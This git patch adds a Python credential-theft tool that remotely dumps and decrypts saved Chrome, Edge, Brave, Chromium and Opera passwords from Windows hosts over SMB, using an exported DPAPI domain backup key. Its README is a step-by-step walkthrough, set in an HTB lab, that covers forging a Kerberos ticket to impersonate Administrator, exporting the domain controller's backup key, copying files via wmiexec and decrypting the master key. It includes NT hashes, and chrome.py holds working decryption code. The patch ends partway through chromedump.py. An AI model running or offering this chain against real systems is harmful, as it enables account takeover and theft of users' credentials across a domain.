From 11377a05ac051bc0a284eaa402996d7a4d9e00e9 Mon Sep 17 00:00:00 2001 From: Chaelsoo Date: Wed, 1 Jul 2026 20:58:30 +0100 Subject: [PATCH] Init --- README.md | 261 ++++++++++++++++++++++++ __pycache__/chrome.cpython-314.pyc | Bin 0 -> 3477 bytes __pycache__/chromedump.cpython-314.pyc | Bin 0 -> 7589 bytes __pycache__/dpapi_utils.cpython-314.pyc | Bin 0 -> 2507 bytes __pycache__/smb_utils.cpython-314.pyc | Bin 0 -> 1329 bytes chrome.py | 64 ++++++ chromedump.py | 139 +++++++++++++ dpapi_utils.py | 43 ++++ requirements.txt | 3 + smb_utils.py | 22 ++ 10 files changed, 532 insertions(+) create mode 100644 README.md create mode 100644 __pycache__/chrome.cpython-314.pyc create mode 100644 __pycache__/chromedump.cpython-314.pyc create mode 100644 __pycache__/dpapi_utils.cpython-314.pyc create mode 100644 __pycache__/smb_utils.cpython-314.pyc create mode 100644 chrome.py create mode 100644 chromedump.py create mode 100644 dpapi_utils.py create mode 100644 requirements.txt create mode 100644 smb_utils.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..ebc2648 --- /dev/null +++ b/README.md @@ -0,0 +1,261 @@ +# chromedump + +A Python tool that extracts and decrypts saved credentials from Chromium-based browsers on remote Windows machines, over SMB, using the Windows DPAPI domain backup key (PVK). No shellcode, no agent, no interactive session on the target required. + +## The problem + +When a Chromium browser saves a password, it encrypts it with AES-256-GCM. The AES key is itself encrypted by Windows DPAPI and stored in a file called `Local State`. DPAPI encrypts that key using a per-user master key, and the master key is stored encrypted on disk under `AppData\Roaming\Microsoft\Protect\\`. + +To recover plaintext credentials from a remote machine, you need to break through that encryption chain from the outside. + +There are two ways to do it. + +--- + +### Method 1: LSASS (sekurlsa::dpapi) + +When a user logs on interactively (type 2 logon, console or RDP), Windows decrypts and caches the master key in LSASS memory for the duration of the session. Mimikatz can extract it directly: + +``` +mimikatz # sekurlsa::dpapi +``` + +This gives you the raw master key bytes without touching the disk encryption at all. The limitation is that it requires a live interactive session and LSASS access, which means either a local admin shell on a machine where the target user is currently logged in, or a memory dump from one. + +--- + +### Method 2: Domain backup key (this tool) + +Every master key file on disk contains two encrypted copies of the master key: + +* **MasterKey section**: encrypted symmetrically using a key derived from the user's logon password. Requires the current password. Breaks if the password has changed since the master key was created. +* **DomainKey section**: encrypted asymmetrically using an RSA-2048 public key belonging to the domain. This section can always be decrypted offline with the corresponding private key, regardless of the user's password, regardless of whether the user is logged in. + +The RSA private key (the domain backup key) lives exclusively in the DC's LSA secrets and is never distributed. When a domain user's master key is first created, the DC encrypts it with this public key and writes the result into the `DomainKey` section. The idea is that if a user forgets their password, the domain can still recover their data. + +With Domain Admin access, you can export that private key. Once you have it, you can decrypt any domain user's master key offline over SMB, without touching LSASS and without needing the user's password or an active session. + +--- + +## Workflow + +``` +Domain Controller + | + | dpapi.py backupkeys --export + v + [PVK file] <-- RSA-2048 private key, decrypts any domain user's master key + | + | RSA-PKCS1v1.5 decrypt of DomainKey section + v + [Raw master key bytes] + | + | DPAPI_BLOB.decrypt(masterkey) via impacket + v + [Chrome AES-256 key] <-- unwrapped from Local State + | + | AES-256-GCM decrypt per row + | nonce = enc[3:15], ciphertext = enc[15:] (v10 prefix, Chrome 80+) + v + [Plaintext passwords] + +Target machine (SMB) + | + +-- C$\Users\\AppData\Roaming\Microsoft\Protect\\ (master key file) + +-- C$\Users\\AppData\Local\Google\Chrome\User Data\Local State + +-- C$\Users\\AppData\Local\Google\Chrome\User Data\Default\Login Data +``` + +The DPAPI blob inside `Local State` embeds the GUID of the master key it was encrypted with. The tool reads that GUID and looks up the matching master key file by name, so there is no brute-forcing. + +--- + +## Why not the existing tools + +* **SharpChrome /rpc** contacts the DC at runtime via MS-BKRP to decrypt master keys. This requires a forwardable Kerberos ticket, which is often not available on the path from a compromised workstation. +* **SharpChrome /ntlm** derives the master key from the current NT hash. Only works if the password has not changed since the master key was created. +* **dploot** automates this full chain but crashes with `KeyError: 'profiles_order'` on old Chrome installations (pre-87, common on Windows 7) because the `Local State` JSON structure differs in older versions. +* **Manual approach** requires copying `Login Data` and `Local State` to a writable path first because tools like `smbclient.py` cannot handle paths with spaces, and the `Protect` directory is hidden so it requires `/a` to list. Doing this across multiple profiles is slow. + +This tool handles all of those cases. + +--- + +## Full engagement walkthrough + +This is the full chain as performed against a real target (HTB Offshore prolab, WS03 / DC02). + +### 1. Export the domain backup key from DC02 + +The domain backup key is an RSA private key held exclusively by domain controllers. With DA access to DC02 you can export it. It can decrypt any user's master key in the domain. + +First get a Kerberos ticket for DC02: + +```bash +getST.py -spn 'cifs/DC02.dev.ADMIN.OFFSHORE.COM' \ + -impersonate Administrator \ + -dc-ip 172.16.2.6 \ + -hashes :5cf7b4d94646e8efba50f45b88c12608 \ + 'dev.ADMIN.OFFSHORE.COM/WS03$' +``` + +Export the ticket and pull the backup key: + +```bash +export KRB5CCNAME=Administrator@cifs_DC02.dev.ADMIN.OFFSHORE.COM@DEV.ADMIN.OFFSHORE.COM.ccache + +dpapi.py backupkeys --export \ + -t 'Administrator@DC02.dev.ADMIN.OFFSHORE.COM' \ + -k -no-pass \ + -dc-ip 172.16.2.6 +``` + +``` +[*] Exporting domain backupkey to file G$BCKUPKEY_99B2981E-C165-4003-B9E0-6EB6C210BC4D.pvk +``` + +Why this key lives only on the DC: when the domain was set up, the DC generated an RSA-2048 key pair. The public key is cached as a `BK-` file in each user's `Protect` directory and is used to encrypt the `DomainKey` section of every master key file. The private key never leaves the DC's LSA. Without owning a DC, this file is inaccessible. + +--- + +### 2. Identify the master key + +Running mimikatz against joe's Chrome `Login Data` fails to decrypt but reveals the exact master key GUID needed: + +``` +mimikatz # dpapi::chrome /in:"C:\Users\joe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect + +URL : http://inventory.dev.admin.offshore.com/ +Username: flag +ERROR kuhl_m_dpapi_chrome_decrypt ; {508a53ce-7406-4e75-8db3-6e4b8ebe6da3} +``` + +The GUID in the error message is the name of the master key file on disk. That file lives at: + +``` +C:\Users\joe\AppData\Roaming\Microsoft\Protect\S-1-5-21-1416445593-394318334-2645530166-1604\508a53ce-7406-4e75-8db3-6e4b8ebe6da3 +``` + +--- + +### 3. Pull the files from WS03 via SMB + +Three files are needed. The `Protect` directory is hidden so enumerate it with the wildcard pattern that impacket uses internally. The Chrome paths contain spaces so copy them to `C:\Windows\Temp` first via wmiexec before downloading: + +```bash +wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 joe@172.16.2.102 \ + 'copy "C:\Users\joe\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\LoginData && copy "C:\Users\joe\AppData\Local\Google\Chrome\User Data\Local State" C:\Windows\Temp\LocalState' +``` + +Then pull via smbclient.py: + +```bash +smbclient.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 joe@172.16.2.102 +``` + +``` +# use C$ +# get Windows\Temp\LoginData +# get Windows\Temp\LocalState +# get Users\joe\AppData\Roaming\Microsoft\Protect\S-1-5-21-1416445593-394318334-2645530166-1604\508a53ce-7406-4e75-8db3-6e4b8ebe6da3 +``` + +--- + +### 4. Decrypt the master key + +```bash +pvk=$(ls *.pvk) +dpapi.py masterkey \ + -file 508a53ce-7406-4e75-8db3-6e4b8ebe6da3 \ + -pvk "$pvk" +``` + +``` +[MASTERKEYFILE] +Guid : {508a53ce-7406-4e75-8db3-6e4b8ebe6da3} +MasterKeyLen: 00000088 (136) +DomainKeyLen: 00000174 (372) + +Decrypted key with domain backup key +Decrypted key: 0x940b868de2131d684f68546efeb0f5745bfbfeac2c4694bde5bfd8e2a41c85a70e07503c34f5ffe99149e32b341737f3601a2314b3ca7c61504edf85e244aeb2 +``` + +What happened internally: the master key file's `DomainKey` section holds the 64-byte master key encrypted with the DC's RSA public key. `dpapi.py` uses the PVK to RSA-PKCS1v1.5-decrypt that section and returns the raw master key bytes. + +--- + +### 5. Decrypt Chrome credentials + +With the domain backup key and SMB access, chromedump handles steps 3 and 4 automatically across all users and browsers: + +```bash +python3 chromedump.py \ + -t 172.16.2.102 \ + -d DEV \ + -u joe \ + -H :31d6cfe0d16ae931b73c59d7e0c089c0 \ + --pvk 'G$BCKUPKEY_99B2981E-C165-4003-B9E0-6EB6C210BC4D.pvk' +``` + +``` +[*] Connecting to 172.16.2.102 +[+] Authenticated as DEV\joe +[*] Loading PVK: G$BCKUPKEY_99B2981E-C165-4003-B9E0-6EB6C210BC4D.pvk +[+] Backup key loaded (2048-bit RSA) +[*] User profiles: ['Administrator', 'joe', 'Public'] + [+] joe/S-1-5-21-.../508a53ce-7406-4e75-8db3-6e4b8ebe6da3 -> 940b868de2131d68... +[*] Decrypted 1 master key(s) + [*] joe/Chrome: AES key 7f06d8484a167001... + [+] Default: 1 credential(s) + +Profile Browser Sub-profile URL Username Password +joe Chrome Default http://inventory.dev.admin.offshore.com/ flag OFFSHORE{d0nt_s@ve_p@ssw0rds_1n_br0ws3rs!} +``` + +--- + +## Installation + +```bash +pip install -r requirements.txt +``` + +## Usage + +``` +python3 chromedump.py -t TARGET -u USERNAME --pvk BACKUP_KEY.pvk [options] + +required: + -t, --target Target IP or hostname + -u, --username SMB username + --pvk Path to the domain backup key PVK file + +authentication: + -p, --password Cleartext password + -H, --hashes :NTHASH or LMHASH:NTHASH + +optional: + -d, --domain Windows domain name +``` + +## Supported browsers + +* Google Chrome +* Microsoft Edge +* Brave +* Chromium +* Opera + +## Caveats + +* If the `DomainKey` section is absent from a master key file, the tool reports `no DomainKey (local-only)` and skips it. This can happen on machines that were not domain-joined when the profile was first created. +* If Chrome is running on the target during a live engagement, `Login Data` may be locked. Either kill the browser first or copy it to a temp path manually. +* The `Protect` directory is hidden. The tool uses impacket's `listPath` with a wildcard which retrieves hidden files automatically, no workaround needed. +* Quote the PVK filename in the shell if it contains a `$` character (the exported filename always does): `--pvk 'G$BCKUPKEY_....pvk'` + +## References + +* MS-DPAPI specification: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dpapi +* MS-BKRP BackupKey Remote Protocol: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-bkrp +* impacket DPAPI module: https://github.com/fortra/impacket/blob/master/impacket/dpapi.py diff --git a/__pycache__/chrome.cpython-314.pyc b/__pycache__/chrome.cpython-314.pyc new file mode 100644 index 0000000000000000000000000000000000000000..370aafb8e7d6c4813ba23b30d7fa71910cdae3b7 GIT binary patch literal 3477 zcma);Uu+Y}8NkQ;$KLh7I8Gc0v9U=YBoLB=z>(umAR$gb3C6bpAC=r%8+(&1vAuh{ zYeKA(i26i0P6^kCOVx)`sSn&kB_4UHL|c&h7-G1%bDR#TNGIMxLAnZF`pw$wBnYWD ziNBd|=9_Q6`Ln;7{a%j~LHb^eUMX@2{hKIOGFw1-t$~1-24m)|!9q@*v!8VsT$uEs&+%uShBJ%=MqmZI;1D>07o37ia0{Lu)^G{lZOCv7 zbs#;0tqpbhUXn;+oi@y7R8f_oU>}H%kDNJ=?PsPnB_|d445;dmXo$%%B`s!?BZ@MW zm6DalCeA z+O4)YiQ~NlqtTWxf!)%RNm}O$#oh090~LBQR!@~p)>#%wpH+(ct zc|^;b;5b^HomHdS6Snv^tKUYRu-7ac3CH9~gn|exn>Q@1(&1{shlbk`QXMTQ!Nyyx z){Q*jsCncPoa7}QH$}`@tpzHK+R$hRLOj}u1g`Cu`Ga-*u)j9bM+7BWT%qe;*t<9+h_DFfNAZ1cB z(%i9^04n9^nBno!YiUU}WF_Cpw6`9`w$Hi z$odk)2rO!hgVC!=r3LfvFo_0I7`32ejezkQ+bXR@?n0MqEL52U6ZdSiStX&yym*ax zRvX%gnuXr=8}(MnnpGGjYix`+TCE%TW-5nKHv;~#K(5abnuXbD*Hk{i@2#3oK}`^i z0(F6D{8okw_P)yqWlSz6Yy3>uthM_PDZz(hGnGN-HtPayt>}mNS$Qc~x0LEUPYZ6< z36a_3;f?uOrO&PYJ&PTEe znCr)4FUeVr=|o;V_|Y-#AQWDba~3sTYFv)FJVD@}>%xrj;P2!UaL z(S8E1gJThF>+keo&X98Iq@0zoKL%lBE`q9PqBb{7>eyLLHYCiD2(d%|JPTSccBGYj z9_WZ2(lsev00VAPGSbsxHjCMGR?#I)DR4s+@>w}QqcJ3$T|_hy(Fy|FMOBsZnNBzM znX^j~h*#n6sDc&KMoxtQb81QzjcLq~VKGDAYUFY=IgV*qMYvaB6)_E00H)MgY?E}d z1U0?`<+Uy{s<(Q-q$(?_jS(yO=^gN*0CMy7Yy9q2e)rwz{XJ{^>8JeZ2WQHhYmr~z zSNyF{xVCab(>Hy$`)+VQv&cDMTemyd;Iq1>#p^e(FJCLwb=+Xebq$MOEPPRRkG`fU zpYtcDf1%^ced{dZJ?nN5i_Qh-E%yt~xyaw-mpYzsEziBa`H}B;>|F5PpqF}otn>fN z-MCIU_;9(-zjWxU+2!^pb&(f=mgSM(rPcynj{{wI$L}@% zj{~uP&aR}UR|2t8K)y{q5A3^5kr921-UaV6edo~9_3ya7uePC<@cMS-ZkUh#+)L&F z^L+QF5%Dlf63|nw<=va@$kz;PhY%W?mv=2UEDtP&z8ZW7nCHW9^`o$2f7&^;ll>bv zzz!WmfA1UMqi*UUMG?8vHPp>NJh(l|(~sP)=w9~GHhZ*{ebmZAxzno=&S(T`8gK_` zeMAuOY2;~xIXS0_=^4q;$SK#zQw{Go-vr8(CaTkO-P2+*CmP+VCg)^BzAEY6X<40? zG`(At#Ef~^uxC)X@Y#4&NW}*(o*g$YXmhW>MX$jjsvHLHL{7;RvQob$KplBf>QN9d zNt^9Q^wFC6{{!0n1L|Mr5bIg-^_3atitm#$<67|zml^Mhuh%U1uenCMNk&oqS_YiYMTc2zfzH6%M$?!&;UVz{%~S%H*gn4 z&mD3|N~=w_7to#Iz2}~L=03jjoukg;A_hVEwcvQsU5?Oy;vZVkWnUis2wv6^hh%ge zal|Yk6Y5hZ>)@%IC1)s^n$gSp8G~$S#4_ZpafX)Z8Ix>Me^ax}j9E6%SY*pgkzCY> zIDI9Oi#Y?-$2cR@B^(X4^@UQ-G<*diKUh_VUa&TyfvgcQhGkjIUB=VlDtd&D8sVCZFxBy>SqtmV3*n6p}y|k!EUH}`dGW4opQKYdxU*4%(Izd zpJ7M)d;NpHn|zPIchJj^^!MHv>i3-*@elDmzMkO`Uymkg7jCVv?PpsiCg(0W=Nwl( zBO?=iBg4H8`(*FnDf>WAPrrR)#L;6PbW99R_VxBmOb$$S!=QF%-bN}$UpN%veX?Q_ zd9UAdGZ5qzIv9{-k3S&VbnqUAW)N4be%>eE7G%$=SCV-Vz8HoVO>h@4FE}`lbKEtv zpqQ6<+2iFU5A-U<+JInqDG-u;q;?$OSqy*p_oFsA8|&yK5=b{uf~NNn5-1M2DGTgS zA1UY;32l@cPKaASkktaR{{pfGx4~JcH!IAM1KDxy*_I`cszY;i2)Xs3n{pd02=p5d z={FYWhr=q+ZrZ8WEXY5#v&8AuGnUa^gHSD6G-^_+y+(B|8qcL^7EFsKP3H2S4`lDg z8a&0ncAGVO{V+uxy8LrD(+0weW^Dv#P}jzY?dObc(9F?pv$II+&p&fEn!3O;t$;k! zXVO-u5zR#oXgB|kc1xeJK>EiBnNS0o+sZzb%+pOaBNi>AOh$#S&ssQt@w%IlEjPBV)Vq~xFAeY3bCk|1d+eVi*Ti*29~|n`2wpDC!-W= zA7lS<{;LwOc>W35-QE2J_u5}zqxHBe6lSN?J3fc+b};Po2JPWc@V0HvFuAKGDaNdXVu2U@MV=d8iHFevzhYQj!PiqU!ZYMug&PYmH*U+Ij#`R< zfNpg~A$SR&ing}4EL6Zl=|8y)Xm@hO8@e4nxfT{zPJ;FqLA!J^15+LhciHzWC@Q7C za4?81$eSnPb6N_2(rLJ8>uAqfwtnu@vf2&fUJaY5OqkNPxpd|E4aehI1!kZ)$k#vQ9V|u@~IWd_mPu{v$I~X(W zmDRlY%xllQekQT9Th{xayzZgSWOWexE%u}@HL&U4oY@-RTH3mr9=W*F;*8Dgx135X z@3hRlHWQortg?Eq)1DaEuIkvYs!tdaYl%SerBqo;pL#B}mI`djTND32{j2E@XYMY1 zbYbgEn!A*4aNn!C{KZky=`)Mzh8ONtU4K-8>V_VfQ2D8^^#}}VLzd%ds^Z(ndQ{c) z7!laK^6L0>Vklut_9hpSj+8Yul(KCOY!RDMx@Piz`P9edQ~&dj#G+56Mp(pOwT)Lz zHXA-f6}WCTPnDQH?5>X#shB${zi%ik#h9iI9prZVho&RHOtW;8+gzayUlz>2erG=P~T+A8QyUm|P|ezm_WS{V%xv zlzRL1E{wj0K7Ibq&rKgdAY*|X?K1s8k*xr$ICD3#cuf0x7kCd>0lHseBD!uA(M@;3 zsxdCcY1Jh2PYpqxW%)Mkjk9Q9ko)3{7kCOG7c;M$>&_r!L?tS-`7t&Ph+uR5;&hpWV8?Kfzez;`rcy#Rd8+)C!%L1PJs zJjQ8uLG}Vg!P_R{6A-N$Wyc*0Doe|f685GS;5XwCo&v~c@)9EU2qFeI#W=;^^hScR zSdX=sK|3%R7JHs3jZqc*lBjN!jTRR$#tzA5D-w-(ygnfFt5U`*RAH?&u8!jh?~Uq4 zM7+CVIj%4-P{<%3QVd=};6r{}sfhPN#1349T|$b<8w`3dJC#(M6ypssyarxTp+!FE z5xn4vOcD6)@q>|yS#?_;@KZ9c7&T%>NQy;@-0G`uhM6c>s$cPwJD6CA; z32PEwkOR&HF90jHVXMkC50U51l6V?=;5H!Xy^M<}DP5lhcd%jHZ|c6^H1KiL!2PDd zZA<;e*}dAPM0=t-*_50~j;5;yH)bE|$fD}~hV~?xbfs>mR<`QW{qs8w7h~qfG^#w2 z=-fFzx^ecivYP#pint-Z77rv|N>(OK>E7A&@pHQ+bKqLOuvlZ$@u9da(VMuOm`y&v zY5b-67v_H|+VXued@emSceg)XdU4m{{JgF;ep+)pw|8qt9+Biz#SdynV&1*7@;8TG z8+v^N9M*POd(w2jtnW7@vX;h(?b?yAvD~i_Sy#Mq{t=C;T4Llw9c``NZ|q2xCHB3(of!I> z#6D>hSt`<0`L~aIQF%T1q@wCiORB)(6jlHBn{qJu+s9Q|XH~6~;|^=}6R8Kb>VpzT z1@*6u?T!xSL$d+b?0B=oZuqFe>}WN9)I#9eZgxCv`sg$PwGVbSSMW_!J(HsDH)jzD zjsVUMG2TH2+NUdm$d04bKH|tez1pWcvd^IQkw^9!)jsNoKDv()ba}SVncOxUZF8<$2>J^Vx3+|0^aFY2u2~EnYZc1XF%Ck3{)aG0`!#~R~QX# zqzaV4cq6MKFcoAoi9_&ENB|q))qcRdwLnNkF%i5i5>Mf37*`{>8ih*2keVaF8L%o+ znYl;gB|vsbyZ{p5sE~9b15-@H`sC;4^4N1RDc<|Wt=MwxT$*W&zXbRMbS`E6zzrz% zRGK{nH1d_L=eDG~y&v7$THZRB9=y26m^U1;rr2bhcw;&?9IHv2>*C|_7n9axfAXad z29q60CSBj38i6}!8hc10Jq>uKXEr7_qz!)Ksa>jKpE7MU|FkT&@OsrdlL_+enNO@O z3GoxF?GpyNJ3s9m+@|dtbi6;|+NX>5j#b8qcyrwQmu>N?STtRHBGHsMn;Zvv-1NcC z{8?iC-4k+JcZFW&UV&DfRL=*AD@-UO9+E+Hj* z|LRs^IdLxCcoNuhX^O(QG5FskX<`6y`i36CQXwC%w1Rz_dhh=WqM~*5eGHTXjx&_S z4FPV%QSmjWQ}IF18HRAA1qI)oBPER-&6zlcGk>q7g)0Kgfn3q|N*?1%K&SN&&{@ir zfn@m~AXx!(ABVZK$fAA^<_L$1#yJ5yO{WR5*-bd{`W`Ad=64qJqN8P;m>V4`T%~rW z1d_@D-n2Rjvf_YdK z^9%i9eyy4cbhT=_E?;ry;wi{!<)u#)oTFT(32bUEw8@>16i=wpOMZMy!EBgas>Ru% zz2%=x=z7i*AJ~!B0u9)6s0Hjb<-VM8Gujfb@}s%-X0(Vsl3Lu%!5&*j zbZ!dLC7GmgAhOD4$#_99AmtLr5eX7ith~(sz67$3P|SW_@`(X8RTS0PSuU42lhtxT%=AMbsXz4Ww$R;ysX?4lMY_tML zTH_H|JxI#?Ae!;BUWrvBzo-?A_%CY5dBpi}K`ShO zMiuYxVtw9FC@iy(dzS;D2p?_1>K1S-p6Dhl?hz*`T9;K?5M;3;?+f4JVe{v0l?n|f zMDU7`CM+Homm;gMSWf&?R4iV<-vhmBo5H9<__w4OGCQm2B_SA)Ric&QU53oT6LA_z zp|$e>nM;kq8L}sgggq58-BpN?!od1^Ac9?zmow2VzGlGTZbNF4e;FpgQK8DYY-WWJ z6iPM17+m#WI}~F`&b;WsL?CB4`c;fLMGDI<*5a`kYSma+WrGs-aySspmJG$C@c(AS zAaq@WKgpz~%J%7!`*h>SbmLyR_c5t68P>-i8j#-b>ii$g#|GjxDJp%MTc6*h7WOE; z)|eF2r{{3v`FvwtirO5*ZRhfBHCXTxZgl4x>u}>m-00LAhwv%Gwd@pD5{ zqV??;lfCbRVy$uFFFI1Ko5bHk#}||-ZE1+h@7{UqPJA`ZbnR01ea0GV!MdRNmA76= z`u}G2XRDj8UtasgwY%**%(eANV4P`7Q=;Yl&i6VK^~oEl@_(rR+xpb8H1q5(HLmKc zkNe+Uerq}Ye46RlrEL2(ClUki55G6OQ`5CgRj!{^RWv8gzCZik?ERME?Uv!47GR#I zH%HQpW0#u#0%$53cO`~*j&-fisM3uIIv!1{oEA^PwCz&u`&RhY)aZ_NZ2cVO!SnC* z$D?nbN!N5H$I{H`E_M1#a|N*8bn!F0^w>Ua{t5jfI%fT`S=G?9OZDzs8WUtPx?>q# zcYJ9sQDwV!Y5N1Z_zTJ!YrRKRiSuwI6xsvXY=|B_wlc-&@%Y0&k4L-=J)$3Xn;=Q= ziO7MVq@Mpw1_x77fM~%h1hRej)MwKDhD`cgP5WfBJUH@D)8zRhubxOeHO5(w=VwT@ zC39ryr&q)NNRS^BWf+Kkw=@G4uy2C+nlcj9Z%PqS@g*AAMgyOr{?E|FHk$axP(d93 prl*mp_-2Z*5X?6XT}1W6>ja`K8_`{|`T<4%$u#5ys2X*q{{ydjnA-pV literal 0 HcmV?d00001 diff --git a/__pycache__/dpapi_utils.cpython-314.pyc b/__pycache__/dpapi_utils.cpython-314.pyc new file mode 100644 index 0000000000000000000000000000000000000000..8d48f8efd92b49f79e50d440359b8acd13f59f27 GIT binary patch literal 2507 zcmah~O-vg{6rSDn&+Zz7O(+D4`HcVz5{H%~gj7)e5*)yBm&8e1E33s`W5<8n-8F=s zd_<}$rTJ;B9x4t!&|8k_t?Ic47h{2@RI1cma*Il$NWHXg7Oyd=Ql7m#Gw*NS%zN+K z!Fnf;fPPhG@2OUV{vr#L=*r~a1DNE|T_jL`q?3{MQ**S=bdovax6D~}YbO#cEl9Ts zR(RV5suy`}FNuSIm%`SlA}I-&@WJ`%rD1V(SiBISD(=Z(hlhdZ;9KD4QMf7#Apwn4 z0=YtoRF2LuA{rq!KnfM2g2e6wRpqomk>5x~rxS%OrfSe;&W^@zbcY_P?5!{%Mxck< zj-&!JdIzBu7NK_Z2^`nlB~FDoQ!B)n_F!$TwH`86U{owMaTp1x5yG?^-995w6f%7& z)*Ah~*PA*)mpMBcLEC0(e@OSDE;NYxE8-Qn>voi&JCO%<8o!0_ zt}q^ypu9FrtIGjwkFG6BD~U*o+-b)bNr^^ZHU+YJm(;Z?r4rGuU}(N8mPpCi8Cjmq zMAUUfpOJLQ%VA4aku%t$%2E{D5=KqnI#3s{`WI%!xfua7DNt|)1%GJr=BzkB`>8m! zaAOL$C~9I=(&ePQzMRS~i+Wa6k`ZlKCE3JGMqcyUF{`X5MMcu%n2H@PqOdJy;!zdz zhMA^Is*XA0Oe73!S2allry8lhzAl6Ch%cT^%f6(PSk=oL}hgTl$bIy%;!LrMFb~w+bd+$`!(~I9+ zd^EbjzGV>K@q%~l@}6zpQ;3)N{`~Zwqkd!k>+!;8JC6RMWuoYvD8bv&zwd5(u=MD3 zVS2Nn+X>G^h}rVMHqJnDd=LXJ^d#XK6s*;% z@SvuSs+A7W0;;Y3yNGm76uh+~!O@Gt05yjcs`gu$R)HuXk!& z-leTDHD`rxKS|J?%(3pY2z81Tkciyo2?{$+M#yp;56n0XgmMlaI|Foc<&G8GZTZCA znGR8~+T~RiL4s;;EB2b*?Sk$9&Mi}Y|ll~$wXYPkv*cAGJT8_ij; z$($XH5FaP-mns-*dQ(o0bxpd3k+7&IEAXqNM4vdbq@OQ&J?EQz|RR zv?@pE5}FR0m|v13s%#()wk_vkFcvFC7SI zUBLbK9rTjOy$+S689S?%#7%$t~3et|fbFZPb$hN+=A+By? z`YU#ycWy);oGaINm-wDH48`@nIL5KkTrVgC>_r}&E!TII`0h7$hU1&&+WO|c3nNcxq5!Mu+_M=Q1)If^^W~C@?3a6Qttiu z=Yf)IKJVYNyLRmDhe5q?p4xT#ww(kVon!f{`>yvM#0q!H&3z?Te{o=ZtNEF;>>V$< z07xMwkS-OPpL||w=-%utH}vJ__8S@>k37Bn@bYGS=ajG1a6W(SPe)_X;VD`?2XH^g z%c^H#z-%I|K&{HUN+7gSGSj3Ovgf9aJR09F<6~jm?vF^lLNtvGupgzf(OgO%S0{i+ fnnff0R}4i_zaz&V=nVY-wz1UE>*hA9!?64hnjt0| literal 0 HcmV?d00001 diff --git a/__pycache__/smb_utils.cpython-314.pyc b/__pycache__/smb_utils.cpython-314.pyc new file mode 100644 index 0000000000000000000000000000000000000000..ba15d673f73d232f1b658629eaf45c4939b18a61 GIT binary patch literal 1329 zcmaJ>O>7%Q6n^_}C-G0MrlBPzE~d3Mjck5gA=Ic+Qc__ef^k(Ft5K}2y^Xh7?=CaD zl=S2xBuaZ|duq5qFG%DDC&Z21IHn{*VJIg~+^VJr;KZA;Q$Sz zR?_;*6HwE0ur4i_GU3ilbNyw7C(Z@7-N= zg4X^k^H?F%XCi))I|$?Xde)9XX|NP1HK+^(+V54*)RfBpGz>ONgKwgkN+rHOqCei_ z%>m)8rp9E)XU6PmXw&lh%s`pXIj+sLtHcRWXPkd*xsh$EB!T`+qaBObObx8C!<0+W zWvb#b3Y;ZLz8@#H)oxx!3UUPJ!`SFa1g_Y~?a7;yx2F1%&0n9tqph9)y76UWTg{_r zx2M0DzIA3(JxtQ*|9tH>1=EXwnmjEtTpCzCQw3h*d-k;al$w%;3u+`6Ad=6S03W^m zymH*rrYgOK?8~U+ILsdgsHy+wy&%uy1>^7%atCS-aYBq7$igBQN0<(6%+@$e06)V~ z$bkc=m80NDrhH9aoHS)76|TvJf~l~W>(H>m1s*~9o38IIi=vOuebTZ6{s2u)WP^+$ zH+cbp8MYS^$EHlODNiiV$RH(xuGw}7c^NkjV51iidhkeAwaiXt^xo9nskP|a3*Wd~ znKy12zfHcjm1?Z#?|<;a()UYSr{;dX_~6us+v)5b>0a_~^4D~BJ^vup*o-y)`6bo( z`{D4xCmcGwTBLzqQ(me8iIzBTBUmcoBt3Mt@*ht7Y-$-j5M-wy0m5o;gZeX=m?683EZ}8~wrs7W^9-pWuafNjdCDJdr*mT!#N3MN_97h^n6_ghq9z>FU Zhxi}x>SJAzQjbRz>By52P0EPa{{V4s4VwS} literal 0 HcmV?d00001 diff --git a/chrome.py b/chrome.py new file mode 100644 index 0000000..878903e --- /dev/null +++ b/chrome.py @@ -0,0 +1,64 @@ +import base64, json, os, sqlite3, tempfile, uuid +from impacket import dpapi as idpapi +from cryptography.hazmat.primitives.ciphers.aead import AESGCM + + +BROWSER_PATHS = { + 'Chrome': r'AppData\Local\Google\Chrome\User Data', + 'Edge': r'AppData\Local\Microsoft\Edge\User Data', + 'Brave': r'AppData\Local\BraveSoftware\Brave-Browser\User Data', + 'Chromium': r'AppData\Local\Chromium\User Data', + 'Opera': r'AppData\Roaming\Opera Software\Opera Stable', +} + + +def get_aes_key(local_state_bytes, masterkeys): + data = json.loads(local_state_bytes.decode('utf-8', errors='replace')) + enc_key_b64 = data['os_crypt']['encrypted_key'] + raw_blob = base64.b64decode(enc_key_b64)[5:] # strip 5-byte "DPAPI" prefix + + blob = idpapi.DPAPI_BLOB(raw_blob) + guid = str(uuid.UUID(bytes_le=bytes(blob['GuidMasterKey']))) + mk = masterkeys.get(guid) + + if mk is None: + for mk in masterkeys.values(): + try: + result = blob.decrypt(mk) + if result is not None: + return bytes(result) + except Exception: + pass + return None + + result = blob.decrypt(mk) + return bytes(result) if result is not None else None + + +def decrypt_logins(login_data_bytes, aes_key): + with tempfile.NamedTemporaryFile(suffix='.db', delete=False) as tmp: + tmp.write(login_data_bytes) + tmp_path = tmp.name + try: + conn = sqlite3.connect(tmp_path) + rows = conn.execute( + 'SELECT origin_url, username_value, password_value FROM logins' + ).fetchall() + conn.close() + finally: + os.unlink(tmp_path) + + results = [] + for url, user, enc in rows: + if not enc: + continue + try: + if enc[:3] == b'v10': + # Chrome 80+ format: b'v10' + 12-byte nonce + ciphertext+GCM tag + pw = AESGCM(aes_key).decrypt(enc[3:15], enc[15:], None).decode('utf-8', errors='replace') + else: + pw = '' + except Exception as e: + pw = f'' + results.append((url, user, pw)) + return results diff --git a/chromedump.py b/chromedump.py new file mode 100644 index 0000000..594e8fc --- /dev/null +++ b/chromedump.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +""" +chromedump.py Chrome credential dumper via SMB + DPAPI domain backup key (PVK) + +Usage: + python3 chromedump.py -t 172.16.2.102 -d DEV -u joe \ + -H :31d6cfe0d16ae931b73c59d7e0c089c0 \ + --pvk 'G$BCKUPKEY_99B2981E-C165-4003-B9E0-6EB6C210BC4D.pvk' +""" + +import argparse, sys + +from smb_utils import connect, read_file, list_dir +from dpapi_utils import load_pvk, decrypt_masterkey +from chrome import BROWSER_PATHS, 